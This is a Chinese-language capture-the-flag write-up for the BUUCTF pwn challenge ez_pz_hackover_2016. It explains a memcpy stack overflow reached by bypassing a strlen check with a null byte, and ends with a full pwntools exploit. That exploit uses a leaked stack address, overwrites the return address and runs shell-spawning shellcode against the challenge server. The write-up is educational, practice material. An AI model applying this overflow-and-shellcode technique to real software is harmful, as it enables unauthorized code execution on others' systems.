[BUUCTF]刷题记录PWN——ez_pz_hackover_2016
静态分析

比较重要的函数,一个strlen可以利用\x00来绕过,然后对输入的字符串进行检查,最后进入vuln

memcoy: C 库函数 void *memcpy(void *str1, const void *str2, size_t n) 从存储区 str2 复制 n 个字节到存储区 str1。
也就是说,vuln里的memcpy函数会把,我们输入的内容取0x400复制给dest,但是dest的大小为0x32,存在栈溢出漏洞
动态调试

保护全关


利用fgets输入存放的地址为rwxp,所以这题可以利用shellcode
攻击手法:通过strelen和字符串检测,溢出到ebp,并且在ebp地址处创建一个+4大小的空间,写入shellcode,然后更改返回地址为shellcode,执行获得shell
构造payload

这里注意一下,他给在开头的时候给我们发送一个地址,后期可以利用一下,这里需要接收
点击查看代码
p.recvuntil(b'crash: ')
s_addr = int(p.recvline(8),16)
info('s_addr:' + hex(s_addr))

我们在vuln里这个靠近return的这个nop这里选择断点
点击查看代码
gdb.attach(p,'b *0x8048600')
pause()

这里我们输入的crashme是从0x22地址开始的,而ebp在0x38的位置,计算之后得到偏移为0x16,因为crasheme\x00占8个,并且我们要在ebp后创建一个大小为4的空间,所以这里需要填充0x16-0x8+0x4,也就是0x12大小的数据。
点击查看代码
payload = b''
payload += b'crashme\x00'
payload += b'a'* 0x12
payload += p32(0) #不确定返回地址,这里我们随便写个东西
payload += shellcode

此时,return后是没有返回地址的,这里我们需要计算出shellcode的地址

这里是shellcode的位置,还记得我们开头说的泄漏的地址吗,我利用它减去shellcode的地址,得到偏移,然后利用

偏移为0x1c

成功getsell
EXP
点击查看代码
from pwn import *
elf = ELF('./pwn')
context(arch=elf.arch,os=elf.os)
context(log_level = 'debug')
#p = process('./pwn')
p = remote('node5.buuoj.cn',26005)
#gdb.attach(p,'b *0x8048600')
#pause()
p.recvuntil(b'crash: ')
s_addr = int(p.recvline(8),16)
info('s_addr:' + hex(s_addr))
shellcode = asm(shellcraft.sh())
info('shellcode:')
info(shellcode)
payload = b''
payload += b'crashme\x00'
payload += b'a'*0x12
payload += p32(s_addr - 0x1c)
payload += shellcode
p.sendlineafter(b'Whats your name?\n', payload)
p.interactive()

浙公网安备 33010602011771号